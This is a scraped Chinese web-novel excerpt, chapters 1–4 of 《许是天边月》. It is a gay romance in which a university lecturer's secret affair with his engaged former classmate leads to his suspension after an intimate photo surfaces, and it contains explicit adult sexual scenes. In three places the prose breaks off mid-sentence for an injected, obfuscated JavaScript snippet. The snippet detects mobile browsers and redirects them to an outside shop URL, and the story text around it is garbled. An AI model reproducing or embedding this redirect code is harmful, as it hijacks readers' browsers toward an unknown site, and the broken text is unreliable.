《许是天边月》 1. 【订婚】 裴玥一下课就接到了许霄远的短信，说他今晚回暨城。 裴玥的脚步稍微慢了半拍，他盯着许霄远那熟悉的、不会多说一句话的信息，把那四个“今晚回来”字翻来覆去看了好几遍。 直到班长过来帮他拿水杯，问他怎么还不离开教室，裴玥才意识到自己有些失态。 “那个，小林，你跟晚上去实验室的同学说一下，今晚的组会先往后推一推。晚上我有点事情，今晚就不来学校了。” “哦......好的裴老师！” “......” 裴玥回到办公室后，又有系里的领导过来给他订了个出去吃饭谈合同的饭局。平日里裴玥几乎不会拒绝，但今天他却面露难看，手下意识去抓书包，似乎想提前下班。 “王主任，是天坛厂商那边的合同吗？能不能换个人啊，我今晚已经跟人约好了，有个饭局了。” “跟人出去约会啊？”王启华也不恼，盯了盯裴玥手腕上那块卡地亚的腕表，笑得有些暧昧。 裴玥的表情稍微有一秒不自然。 但很快他就掩盖了下去，温温吞吞笑了笑，回应道， “是学校之前合作的大型器械组合公司的董事长，许总。我和他是老同学，我的实验室他投资了一半。” “他今晚从申城来暨城，要给我谈谈仪器调配的问题。” 裴玥说的云淡风轻，只是在说到“许总”时，语调稍稍柔和了一点。但王启华并没有听出什么异样，反倒一下子笑开了花。 拍着裴玥的肩膀，换上支持的语气，双手催促道， “原来是许总的局！那就不打扰了——” “快去吧快去吧——别耽误了人许总的时间，替系里跟许总问个好！” “......” 裴玥松了一口气，他又看了眼许霄远给他发的短信。 他收拾好背包，去实验室叮嘱了一圈，还没到下班的时间点，他就打了个车朝着暨城南侧的一个高档小区赶了过去。 顺华天府在暨城算得上有钱人会选择购买的最热门小区之一。 裴玥第一次来这里时，他才和许霄远发生□□关系没几天。 许霄远给了他一枚钥匙，说这里是他家名下的房产。让裴玥没什么事情可以来这边住一住，等有时间了就把房子过户到裴玥名下。 那个时候许霄远意气风发，是穿着西装往大学校园礼堂一站，下面无数男生女生都尖叫着想要嫁给他的耀眼存在。裴玥被他迷的晕晕乎乎，脑袋一发热就接过了许霄远的那枚钥匙。 之后许霄远就经常来这里。 门口管理严苛的安保早就对裴玥这张温顺又漂亮的脸十分熟悉，裴玥对着安保点点头，用指纹刷卡进门。 许霄远买的大平层在5号楼6层。 一层一户，用电梯直达每一户。 裴玥进门时，发现家里的阿姨已经将晚上要做菜的材料都买好了，堆在门口的菜架子上。许霄远请了三个阿姨来照顾这个家，但除了家里养的猫猫和日常打扫卫生之外，许霄远更希望做饭是裴玥亲手去准备。 裴玥提着装菜塑料袋进了厨房，他把手机调成静音模式，然后把今天刚从校园里摘得栀子花插入了餐桌中央阿姨已经腾空干净的水晶长颈花瓶中。 养着的三只小猫喵喵咪咪跑了过来，裴玥摸了摸猫咪，转身就去准备晚饭。 晚上准备吃红烧番茄牛腩。 裴玥伸手把生肉都给洗好，细细切成块，炖牛肉的水焯了几遍，番茄也都切成细丁丁。 他将肉放到锅子里煮炖的功夫，突然就听到了不远处的门口，电梯“叮”的一下响起的声音。 裴玥的心脏漏跳了半拍。 他从闲闲散散靠着灶台的姿势一下子变得脊背直起，敲在台边的手指收回，曲臂悬在身子前，左手的拇指因紧张轻轻压着食指指腹。 炖牛肉的软烂声咕嘟咕嘟在整个大平层响彻。 在这一声声的粘稠泡泡音中，那个让裴玥胸腔无法平静的男人，出现在了雕花屏风的后方。 “嗯，您看着办吧，决定了把选好的方案发给我。” “妈，我才刚下飞机，晚饭我跟朋友订好了，确实有重要项目要谈，就是暨南京大学那边的项目。我今晚先不回家住了。” “嗯，您和爸吃的开心，我过两天空了就回去。” “拜拜。” “......” 挂掉电话，许霄远就已经来到了餐厅与走廊的拐角处。 裴玥得有一个多星期没见到许霄远了，此时此刻他真的要按压不在内心的小欢喜。 裴玥白皙的皮肤也因为激动而泛上一抹红晕，可还没等他喊一声许霄远的名字，突然就看到许霄远的目光往下移动了一点。 眉头微微皱起。 裴玥视线随着许霄远，也低下去头。 看到自己光着脚丫，没穿拖鞋，踩在凉呼呼的大理石地板上。 “......” 许霄远之前说过不少回，让他不许光脚踩地板。 裴玥瞬间知错，刚想要抓紧去穿上拖鞋，然而下一秒，许霄远的手机就又响了起来。 “秦叔叔？” “嗯，回来了。” “行啊，也没什么问题，我可以帮您看看。” “那您把材料发过来——” “......” 裴玥换好拖鞋，重新回到客厅。 许霄远已经在餐厅对面的客厅里坐下，伸长腿靠在沙发上打电话。锅子里的牛腩还需要炖煮一段时间，走到了许霄远身边，拿起一只茶几果盘里的橘子，就想给男人剥个句子吃。 他刚坐下，就感觉身后的白衬衣，被人从西裤/腰带里给扯了出来。 衬衫的布料很昂贵，扯出来时更粘身的皮带紧紧贴住了肌肤。裴玥瞬间脊背僵住了，绷直。下一秒那只大手就不容分说撑开了裴玥的tun瓣。 “唔——许、霄远......” 裴玥想喊。 但他刚转过头，许霄远的手指便更前进了一步。 手指上有常年握笔练出来的薄茧，动作分外熟练，几下裴玥就捏不住手里的橘子了。 裴玥的身子往前倾斜，浑身抖的像是筛子。在即将要掉下沙发之际，那只搅拌着他的手突然用了用力。 轻而易举，就把他给拉到了怀里。 裴玥已经氵显到不成样。 许霄远却突然抽出来了手。 他用那只手摁住了裴玥的后脑勺，裴玥坐在许霄远的大腿上，被迫躬起了腰，低头面对许霄远的裤当。 裴玥整个人红红的，潮湿地抬起眼睛看着许霄远，他被点燃了，他现在极度的想要。他看着许霄远，想要能不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531745|203714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能先缓解一下他被点燃的火。 许霄远还在打电话，面色平静，仿佛下面的事情一点儿都不影响到他。 他感受到了裴玥的目光，他把正在咄咄讲话的手机轻轻往耳边一倾，下巴微抬，用丰厚又唇形好看的嘴唇，对着许霄远吐出了三个无声的字—— “咬出来。” ...... * 沙发上充斥着欢爱后的糜烂气息。 许霄远去洗澡了，裴玥在沙发上躺了一会儿。许霄远这次要的厉害，大概是积攒了很长一段时间。裴玥想到许霄远和自己分开这么久，应该没另找他人，就感觉心里很开心。 他和许霄远重逢后这样拉扯已经有将近半年的时间了，这半年里他开心的少，伤心的多。他知道许霄远永远都不可能将他当成唯一，但眼下许霄远好像对自己更在意了一些，裴玥觉得自己对许霄远的好终究还是没有白费。 厨房里飘来一阵糊锅味。 裴玥一个鲤鱼打挺，从沙发上翻了起来。他光着身子就要往厨房去把忘记了的牛肉给关火，跑之前还顿了顿脚步，把拖鞋给穿上了。 牛肉有一点点糊锅，但炖的很烂很软。其实裴玥有点牛肉过敏，但许霄远爱吃，而且许霄远是一下飞机特地来找他的，他不能让许霄远饿肚子。 裴玥把饭盛好，重新坐回到沙发上。他这才想起要揉揉酸痛的腰，落在地上的那只橘子还没吃，裴玥弯腰把橘子捡起来，准备剥了自己吃几片。 正在剥橘子，忽然，一阵铃声打破了他剥橘子的动作。 是许霄远随手放在茶几上的手机。 上面显示，【宣雅】这么个名字。 “......” 裴玥盯着那个名字，稍稍有点出神。 他盯了一会儿，也不知道自己是怎么想的。等到回过来神，那个铃声依旧在响着。 裴玥佯装淡定的想，可能真的有什么急事吧？ 裴玥又犹豫了片刻，还是拿起手机去不远处的浴室。这个房子虽然很大，但最近的浴室也就与客厅隔了几步路，裴玥不确定许霄远能不能听到手机铃声。 许霄远应该是在冲澡，隔着玻璃磨砂门都能看到他被花洒水浇淋的有型又性张力十足的薄肌。 “那个，霄远。” “你有电话——” “......” “你接了吧。” “......是宣小姐的。” “......” 裴玥做好了许霄远拉开浴室门拿走电话亲自接的准备。 然而下一秒，浴室内仅仅发出一个拍打泡沫的声音，许霄远的声音紧跟着从门缝里传出。 “你接，跟她说我忙。” “......好。” 得到许霄远的的授权，裴玥盯着那孜孜不倦的手机看了几眼。 那手机执着的，就像是正宫抓小三，持续不断追踪证据。 “喂，宣姐。” “嗯，是我，裴玥。许总今晚是和我一起吃的饭。他有点喝多了，在卫生间吐，让我帮他接您的电话。” “......好，等他酒醒了，我会把你说的‘让他别忘了选订婚礼服店面’这件事原封不动地转达给他。他大概明天就会回家了。嗯，再见宣姐。” “......” ...... 2. 【故意】 挂了电话，裴玥也没了心情继续做别的。 他把许霄远的手机放回到茶几上，听着不远处浴室里哗啦哗啦的流水声，呆呆地坐在沙发上。 裴玥也不知道自己这样坐了多久。 久到许霄远洗完澡出来，过来喊了他一声。 他才回过神，发现自己的脚被他给压麻了。 “她打电话做什么？”许霄远擦着头发，在裴玥面前弯腰拿起手机。 头发上的水珠滴落在茶几面上。 裴玥揉了揉自己发麻的脚，他不知道自己此时此刻是什么情绪，看着许霄远打开手机，半晌，他才听到自己胸腔里发出那不太象是自己的声音。 “宣小姐说，让你，不要忘了，跟她去选，订婚礼服的店。” “......” 许霄远没事人似的“嗯”了一声。 许霄远继续翻手机，骨节分明的手指在屏幕上点点删删，飞快回复着什么。裴玥从对面白色对话框的宽厚可以猜测出，许霄远正在回复的对象应该是个女孩子。 裴玥感觉自己的心脏，仿佛被挖了一下。 许霄远回复完了，放下手机，就擦着头发看向裴玥。 他坐在了裴玥旁边，看到了裴玥一只手一直在揉脚踝。 “腿怎么了？” “有点......坐麻了。” “我来揉揉。” “......” 许霄远的话充满了命令的压迫，裴玥无法忤逆。他就只能把腿伸了过去，看着许霄远还略带潮湿的大掌握住了他没什么赘肉的小腿，指腹力道恰到好处揉捏着被他抓红了的脚腕。 “最近瘦了。” “......” “出差这两个周，想我没？” “......” 裴玥脑子里怎么都挖不去那句“订婚”，他在许霄远面前总是没办法藏好自己的情绪。他垂着眸子，脸上写满了心情低落。 许霄远停下揉他脚腕的动作，伸出手，撩开他遮住眼睛的头发。 捏了捏他的脸颊。 “心情不好？” “怎么了，谁又惹你了，我的大少爷。” 裴玥有时候真的很想彻底斩断自己跟许霄远的“孽缘”。 可他喜欢许霄远，他斩不断。他从十年前就喜欢他了，尽管他知道许霄远不可能喜欢他，他还是义无反顾往要跟着他。 “你怎么突然要结婚了？”裴玥抬起头，鼓起勇气问。 许霄远先是一愣，像是没料到裴玥会问这个。 紧接着他就笑了起来，刚刚的那点担忧的紧张，瞬间化开。 “你在介意这个啊？” 裴玥哽了一下。 看着许霄远放松的目光，心里像是防线断了又重新挣扎着驻扎，最终别过去了头。 “没有啊。” “我心情不好，是因为下午来的时候，被小咪给抓了。” “小咪”是他们一起养的那只三花猫。 他们一共养了三只猫，都是搬到这个公寓后，裴玥从路边草丛里捡的。 一开始许霄远很讨厌猫，甚至得有一个月不再来这里。裴玥没办法，把猫带回教职工宿舍里养着。后来忽然又有一天，许霄远终于又来公寓了。 裴玥小心翼翼讨好着许霄远，许霄远突然莫名又让他把猫接回来吧。 “抓哪儿了，我看看？” “......” 裴玥理直气壮给许霄远看了个不知道从哪儿刮的伤痕。 许霄远又给裴玥揉了揉胳膊，他问裴玥脚还要不要揉。裴玥摇头，许霄远放下他的腿，起身，要给裴玥去找小咪“出气”。 裴玥抓紧一瘸一拐跟上了许霄远，被这突如其来的“老夫老妻过日子”般的似水柔情又温暖了疼痛的心。 这个大平层有一个专门养猫咪的房间。 裴玥一瘸一拐跟上许霄远，来到猫咪的小空间后，就看到许霄远抱着“大米”，在做古怪表情。 三只猫分别叫“小咪”“小米”和“大米”。只有“小咪”是裴玥取的，剩下两只被裴玥抱回来时，裴玥缠着许霄远给它们取名。 那段时间是许霄远来陪裴玥最勤快的日子，隔三岔五也要在这里吃饭。裴玥以为自己特别幸福，于是连带着给小猫取名字，都要许霄远来。 “那就，叫‘小米’吧。” “不是已经有一个‘小咪’了吗？” “‘小米’，米粒的米。” “......” “雷军要问你收姓名版权费的！” 虽然这个名字很奇怪，但裴玥还是兴高采烈的用上了。他抱着猫咪对着他喊着新的名字时，许霄远就坐在他身后，用手像是揉猫一样轻轻抚摸着裴玥的脊背。 “大米倒是长胖了。”许霄远把猫放下，背对着裴玥，淡淡的道。 “这段时间阿姨买猫粮花的开销不少。” “那就再多给阿姨开些工资吧。”许霄远起身，又接着说道，“接下来一个周，让阿姨再费心一些。” “接下来一个周？”裴玥有点疑惑他为什么点出来这个时间。“接下来一个周怎么啦？” 许霄远抱起来小米，身子轻轻晃，回头看着他， “下个周我暂时没空来了。” “家里这三只猫每次你来喂，都瘦了吧唧。不让阿姨多照顾照顾，回头你照顾不好又要哭鼻子。” 裴玥被点了“丑”。 但他此时此刻，却一点都顾不上这点“丑”。他脑袋一下子又“嗡”了一声，整个耳朵边就只剩下许霄远的那句“下周没空不来了”。 “下周......那我来照顾啊。”裴玥垂下去眼眸，他突然不想继续问许霄远下周去干嘛，因为他猜到了，答案一定会让他很不满意。 “咪咪不能，只跟阿姨亲吧......” “那你好好照顾啦。”许霄远忽然靠近了裴玥。 许霄远身体上散发出来的荷尔蒙气息，和他玉兰花香的洗发水味道，混合着缠绕着裴玥，让裴玥哪怕现在十分难过，脸颊也克制不住的红红的，耳朵滴血。 许霄远摸了摸他的耳垂。 “没有说你照顾不好的意思......” “霄远。” 裴玥抬起头来，大大的眼睛看着他。 屋内没开强灯，只点了两站橘色小灯光。温馨的氛围下裴玥那双湿漉漉的大眼睛亮晶晶的看着他。许霄远的表情依旧温柔，并且更温柔了一点似的，像是深情般，等着裴玥的话。 “嗯？” “霄远，猫咪要是长时间不跟人相处，它们，它们就会，不认识那人了。” “你要是，长时间不来。” “小咪大米小米，它们可能就不要认识你了......” “......” 裴玥说完，猫咪小卧室瞬间就陷入了安静。 初夏的夜晚有一丝丝的炎热了，窗户外的风吹动着冰丝窗帘，小橘灯光照应着墙面波光粼粼。 氛围一下子就变得尴尬。 裴玥感觉脸颊在烧，他感觉自己似乎是越界了。这么久了他一直以“好朋友”在许霄远身边自居，哪怕上了那么多次床，也只是“友情之上的温暖”。 “不认得就不认得了吧。” 良久，许霄远突然开口回答。 他说这话时，还抚摸了一下裴玥的额头。那温柔的语气，仿佛在是在说着一个很平静的家常话。 “它们要是不记得我了，那下次我再来，再重新和它们熟络，不就可以了吗？” “......” 裴玥没了所有的脾气。 许霄远就是他最温柔的那抹烈酒。 许霄远又揉了揉小米的脑袋，他重新把小米放下，抬手看了看表，转身对裴玥说道， “我要去书房处理点公司的事情，你如果困了就先睡。” “饭我看到你做好了，很香，我忙完了吃。” ...... * 第二天一早，许霄远就离开了公寓。 裴玥也没了继续在这里呆下去的兴致，他又喂了喂猫，换好衣服就打车去学校。 上午裴玥就三四节有课。 去系里一楼打完卡，裴玥刚拐上办公室所在的二楼拐角，老远就看到王主任已经站在他们人工智能教研室的办公室门口。见到裴玥来了，王主任也不跟组长继续聊天，直接贴到了裴玥面前，喜笑颜开。 “哎呀，我们的大功臣终于来啦！” 裴玥：“怎么了？” 刚才一直在和王启华说话的秦组长，望着裴玥，眼睛里也填满了笑意。 “还不是小裴你昨晚去找许总又签下了合同，咱们教研室的项目又被追投了经费，许总说后面至少三个项目他都会全包了，今早上院长特地在干部群里宣传了此事，小裴你可立大功了呢！” 裴玥迟疑了半天，才将这个消息给消化掉。 他昨晚确实去找许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531746|203714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霄远去了。 但是他没有签什么合同。 裴玥忽然就感觉心里沉甸甸的，他感觉屁股还有些酸/胀。 那些许霄远昨夜射/进来的东西，仿佛都是在补偿他付出感情的施舍。 “怎么了小裴，立了功还不开心吗？”王启华看他表情不太好。 裴玥不想被人知道他其实根本不是去参加什么高档酒局拿下的合同，而是给人贡献了一晚上屁股才被“施舍”的这份令人开心的好处。裴玥调整了一下情绪，扯出来一个笑，说自己手上还有点工作。 “那快去吧！”王启华和秦单明连忙拱手相送。 回到办公桌，裴玥舒了一口气。他感觉脑袋胀胀的，打开电脑想让自己看点实验数据冷静一下。 没一会儿，突然接到实验室的学生给他打电话，说有个材料需要老师签字。 裴玥上了三楼，拿了学生的材料，就去教务处盖章。 每个学校的教务处总是充斥着八卦和猜忌，裴玥每次去，都会成为那里的女老师们口中“优秀青年劳模”。这次也不例外，他按照流程盖章，给他审查材料的老师就找他八卦。 “小裴还没有女朋友啊？” 裴玥：“还没呢。” 宋丹：“抓紧呀，要不我再给你介绍一个？” 裴玥：“宋姐您就别打趣我了，感情这种事又不是说打螺丝钉，说能行就能行了的。上次那个姐姐差点儿要把我投诉了，我还得缓缓。” 宋丹：“上次那个我也不喜欢，不提了不提了。我们就是看你这么优秀，感情却还没着落，不是也替你着急嘛。你看你，昨天又给你们系里拉了一大笔投资，真没想到你居然还跟许家有关系。听老王说，器械集团那个老总，是你高中同学呀？” 裴玥的心脏又“咯噔”了一下。 “……对。” 这群上了年纪的女老师一聊到青年有钱帅哥，也不忙手头工作了也不嗑瓜子了，都聚到了一起，七嘴八舌谈起来许家的那位爷。 “哎，真羡慕。” “我朋友她闺女，据说跟宣家的二小姐是初中同学，宣家和许家这俩孩子算是强强联姻了吧，我朋友闺女说，宣家二小姐和许家大公子要结婚，当时她们同学圈都炸了。” “再炸还能怎么样，有钱人就要找有钱人结婚吧，门当户对才能长远。并且听说许大公子和宣二小姐已经在国外谈了七八年了，上大学就在一起了。这么多年的感情也能修成正果，人家许公子就是喜欢。” “好吧，其实上次裁剪仪式，我看许公子的面相，我还以为他会很花心。没想到居然如此专一。” “嘶——早几年好像听说，身边也悄悄养过几个人……” “哎，不讲不讲。” “……” 裴玥拿着盖好章的材料，回到了实验室。 他把材料递给学生时，学生见他脸色不太好，以为是材料有问题，还担忧的询问了几句。 “老师，是要重填吗？” “……啊？”裴玥回过神。 他这才发现，自己手指都快把掌心给掐烂了。 裴玥意识到今天自己老是在失态。 他不想这个样子，但他无法控制住自己的心情。他只能让自己不要在外人面前表现的出来，不要让任何人发现他的心情低落可能是跟许霄远有关。 许霄远是谁啊，那是大校长都要供起来的佛爷。 “章都盖好了，不用重填，直接交给吴主任就好了。” “！谢谢裴老师！” “哦对了裴老师，刚才王主任来实验室找过您，下午您的公开课大校长他们也要来听，说市里领导专门过来，要陪着。让我们到时候也过去装学生。” “……行吧。” 裴玥又像是镶了马达的陀螺，马不停蹄回办公室又重新再修改一下下午公开课的PPT。他的课前些年评了国家级精品课程，破格录了副教授。学校一直拿他当人才，有什么省市检查，都让他出来展现学校青年力量的实力。 他盯着那写的完美的PPT，那些熟练的讲课功力都在心底练的滚瓜乱熟。他突然想起下午市里来听课，市里有个领导好像也姓“许”。 下午三点，裴玥的公开课，在学校大礼堂正式开始。 裴玥站在讲台上，从容不迫拿出翻页笔打开PPT。 下一秒，一张他和金发国外男性嘴唇贴着嘴唇的、大尺度亲密照片，在PPT的题目展现出来之前，先一步跳到了大屏幕上—— 3. 【停职】 演讲台下，会场安静了整整十秒钟。 这一趟来了不少市里领导，其实还有许霄远在市班子一把手的叔叔。 市领导的眼神迷惑又深邃，透露着不解。而坐在市领导旁边的学校大校长和校领导们，在震惊后，一个个脸色都变得相当难看。 裴玥站在很快炸开锅了的窃语声中，足足站了三分钟。这三分钟他什么都没有做，任凭那张和金发男子亲嘴的照片，让每一个人都足以看清楚他睫毛上有多少滴水珠。 那张照片上，他笑得蛮开心的。 嘈杂声愈演愈烈，终于，在“人声鼎沸”里，裴玥回到了讲台右侧的演讲桌旁。 他没什么表情的伸手抓住鼠标，松松活动着手腕。 点击，关闭。没两下，那个艳色的照片，就被他给关掉了。 裴玥没事人似的，重新站回到演讲台中央。他仿佛一点儿都没受到影响，哪怕下面的领导们都已经气得浑身发抖。 裴玥低头看了眼翻页笔，抬起头来，坦然地道， “各位领导、同学们，接下来我们开始上课——” …… 公开课结束，裴玥很自然就被通知了立马去学校董事会开一个“紧急会议”。 裴玥倒是一点儿都不慌，他甚至先回了一趟办公室，把讲课的材料收回到档案盒里。 人工智能办公室的老师们也都炸开了锅，那张裴玥的“艳照”像是病毒似的，已经席卷了校园的每一个角落。 “小裴喜欢男的啊？” “怪不得，怪不得，给他介绍了那么多女孩子，他都没成！” “哎——对象还是个国外人，裴老师这么‘野’吗？” “前阵子，我还听说裴老师从顺华天府出来的呢。一个高校副教授，应该买不起顺华天府的房子吧。” “哎——不讲不讲，裴玥来了！” 裴玥取下耳麦，整理好公开课的材料。他感觉到办公室好像有好些个视线在盯着他，他抬起头，就与同事们意味深长的“有色目光”撞上。 “.…..” “啊……老秦，给我一下你的项目申报表，我看一下！” 裴玥：“.…..” 王主任也在，裴玥收拾完东西，就要去学校办公室。这时王启华突然靠了过来，想说什么又似乎张不开嘴，最终只是拍了一下裴玥的胳膊，宽慰似得开口道， “嗨呀，不就是喜欢男孩子嘛。” “这都21世纪了，性取向是心之所向。” 裴玥给王启华翻了个白眼。 来到了校委员会的董事会的会议厅，裴玥才感受到了，果然办公室的风声，还是比较“友善”的。 市里面还留了个领导在这边，这个领导正是许霄远的叔叔许年瑞。这个许叔叔裴玥十年前见过，那个时候许霄远突然就出国了，留下一些不好的“同性恋流言”，就是当时还是区委书记的许年瑞过来处理的。 裴玥一进门，从踏入门口到在他的“审判席”坐下，目光全程都在许年瑞那边。当年“许霄远是同性恋”流言的另一个主角就是自己，他想看看十年过去了，许叔叔还记得他吗。 许年瑞倒没有说话，仿佛完全不记得他这个孩子。 大校长先是亲自向市里道歉了这次公开课造成的“不良影响”，并检讨了是校方审核不严谨。裴玥听着他们把他的接吻照，不断扣上“低俗”“恶劣”的帽子，他忽然就想要发个短信给许霄远，问问许霄远，“你也真的很讨厌同性恋吗”。 裴玥已经摸出来手机。 “裴老师。”大校长的话锋突然一转。 剑指裴玥。 裴玥脊背一僵，把冒头的手机，又给摁了回去。 大校长的表情相当严肃，看着裴玥的眼神是从未有过的深虑。 “裴老师，这件事还是需要你来表态。” “学生们的拍照和论坛的帖子，已经联系网络部门进行地毯式删除了。作为这件事的源头，你是如何想的？” “.…..” 裴玥把在腹里打了无数次的草稿重新整理了一下，他站起身，对着所有领导鞠了一躬。 大大方方承诺道， “真的很抱歉，让领导们替我担忧、让学校为我蒙羞了。” “由于我个人的失误，导致学校名誉差点受损。这些照片确实是多年前我读书时代年轻不懂事，参加聚会时玩真心话大冒险被意外拍摄的。这些日子电脑又加载了太多程序，难免中病毒，让‘不良影响’的照片被很多人看到。” “这件事责任在我，我会配合学校一起处理照片，学校如果需要我做声明，我也会积极配合，让学生们知晓这些照片都是误会。” “.…..” 十年前许年瑞问他为什么要和许霄远接吻、拍那张接吻照片，裴玥就是这么“承认”的。只不过当时裴玥其实并不只是和许霄远亲了嘴，他其实还和许霄远上了床。他当然面对“大人”的状态也远远没有现在这么坦荡。 校领导们面面相觑，学校要的一直是解决问题的办法，而不是刨根问底私人情感。既然裴玥已经给出了“解决方案”，这个会也基本上达成了目标。 裴玥被校领导“放”了回去。 裴玥回到了办公室，王启华又来他的工位旁，说三说四。 “小裴学校那边没怎么样你吧？其实现在社会都那么开放了，喜欢男人真没什么。我去给你问了学校人事那边，一般这种都不会给定性的，上次闹的那个同性恋学生不也最后给他顺利毕业了？” “不过小裴，这是你以前的照片吗？” 裴玥突然有点心里闷闷的，莫名其妙被人放大了性取向，莫名被追着递奇怪的问题。他以为只是会被找去谈话，这一par就会过去了。 “是以前玩真心话大冒险拍的。”裴玥合上电脑，转头注视着王启华的眼睛，平静道， “学生时代拍的，不懂事。忘了网盘留了痕，前阵子为了神经元网络下载了那堆程序，没留意病毒查杀，就被钻了空子吧。” 王启华：“哈哈，那下次抓紧再给你换个更好一点的电脑嘛！” “.…..” 王启华又安慰了一会儿裴玥，安慰他学校一定不会给他处分。裴玥中午回教职工宿舍睡了个觉，下午上班前，突然就接到了人事部发来的“停职查看”通知。 这个通知他一点都不意外，只是给出的理由——“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531747|203714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私生活影响不好，作风有问题，影响学校声誉”，让他忽然就胃里一阵翻江倒海。 裴玥收拾好自己，蛮平静地回学校，整理东西。 学校的“停职查看”，暂时不会开除你的公职，但会让你手上的科研项目和教学任务全部暂停。裴玥到底教了五六年的书了，心系学生，他给自己“放假”前，还是要把手上的工作交接好。 然而到了实验室，他的实验室里的学生却跟他说，他的实验室内的交接工作，已经由王主任他们亲自过来安排好了。 裴玥忽然就感觉到一阵心头轻松，他想到上午王启华三番五次过来找他那些“别扭”的交谈，有些释怀的情绪弥漫过了原本还有点难受的滋味。 裴玥去食堂打了份饭，他难得在食堂吃。下午三四点，食堂也没什么人，只有零星几个下午只上一二节就没课了的学生，坐在旁边默默啃着米饭。 “啊——小裴老师，裴老师好！” “你们好。” “.…..哎，这就是那个裴老师啊？” “对对对对对！就是他！” “果然！果然！我一看他就是个gay，味道太正了！” “听说他私生活可混乱了，我宿舍对床的哥们儿说，上个月他们还在顺华天府见过裴老师，裴老师一瘸一拐从里面出来，后面还跟着个迈巴赫。” “我擦！那不就是被包/养了吗？没想到小裴老师居然是这种人！” “.…..” 裴玥在学校外面，还有一套自己买的小房子。 地带不错，就是面积有点小。那套房子是裴玥花了好长时间研究才买下的，可当时许霄远来住过几天，嫌都伸展不开腿，就把裴玥给薅到了顺华天府。 裴玥去顺华天府把小咪给接了过来，带着他的“学校行李”，一起回到了自己的“麻雀小窝”。 他没事儿干，便在网上找了份给人看论文的兼职工作。 裴玥以前很穷的那段时间，就给人代写过文章报告。他的脑袋很灵活，写文章总是能提出很新颖的论点。久而久之很多人都慕名来找他这个账号，当然他也因此被人举报过受到过学校的处分。 裴玥重新挂了他的指导咨询，可能是太久没有用过这个账号了，两三天就等来了一个人咨询。 对面是个才上大一的本科生，正在为期末作业焦头烂额。 本科生财大气粗，裴玥一个晚上给他写完了全部期末作业后，本科生看着满意，又把申请实验室的材料一股脑全部推到了裴玥的钱包里。 裴玥面不改色心不跳收了钱，问本科生还有没有什么需求。 本科生：【小月老师，你的逻辑是不是特别好呀？】 翡衣月：【有时候也有想不明白的东西。】 本科生：【就是，我可以再多花点钱，咨询一些不是学术方面的问题吗？】 翡衣月：【诶？】 不等裴玥思考完毕，对面紧接着就发过来了大段话： 【小月老师，我是个同性恋。其实我也不算是真正的同性恋，我只是爱上了我最好的兄弟，他是直男。小月老师，我好痛苦，被直男掰弯，注定是没有未来，对吗？】 ...... 4. 【希望】 十年前，青城一中文化祭。 “下面请欣赏，高二十三班带来的话剧表演，《春光乍泄》，领衔主演——许霄远、裴玥。大家掌声欢迎！” “......” “许霄远，我们两个大男人天天就这么抱在一起亲来亲去，会不会亲出来毛病啊？” “许霄远，我感觉跟你在一起还蛮开心的。” “许霄远，好兄弟也要回宿舍还亲嘴子吗？” “靠许霄远，我不会真的弯了吧！” “许......霄远，要是我真弯了，你......” 屏幕的亮光又跳动了一下，大学生新发过来的【？】终于把裴玥从回忆里给拉了回来。 记忆已经很模糊了，甚至那些曾经被裴玥一点点珍藏的画面瞬间好像都镀了一层旧黄色。裴玥对着屏幕发呆了几秒钟，抬起手，表情麻木地开始敲字回应。 翡衣月：【抱歉，我可能给不了你什么有效的建议......】 本科生：【我知道，我知道正常性取向的人是很难理解喜欢同性的这种痛苦。】 本科生：【我就是太痛苦了，我怕别人把我当成异类，所以我只敢在网络上求助。小月老师，我就求求你，能不能用你的逻辑帮我分析一下，喜欢直男真的就会没有结果吗？】 本科生：【如果你也给出这样的结论，我就彻底死心了。小月老师，求求了救救我吧。】 裴玥内心翻江倒海。 但他也不知道自己是怎么想的，或许这一刻他也很想用自己“强大”的逻辑来分析一下，喜欢上不爱自己的直男兄弟，是不是就真应该堕入地狱深渊。 裴玥伸着手，一字一句敲打下键盘。 【行，那你跟我说说吧。】 本科生：【我跟他是高中同桌，他就属于男女通吃那种。他的男生缘也特别好，打篮球总是一堆男生围着。我性格很沉闷，学习比较吃力。他学习很好，老师就特地安排他给我辅导。因为辅导＋我和他是同桌，导致我跟他总是在学校里形影不离，回宿舍也是。久而久之我就对他产生了超越朋友的情愫。】 本科生：【就是其实我是打算把我的暗恋藏在心里，因为我知道喜欢同性就是不正常的。可我总是会莫名感觉他好像对我也有意思。小月老师，直男也会拉着同性的手背天天亲来亲去吗？】 裴玥想了想，其他直男他不知道，但许霄远那个时候却总是喜欢搂着他躲在书本后面亲嘴。 裴玥：【感觉，确实有点不像普通朋友了......】 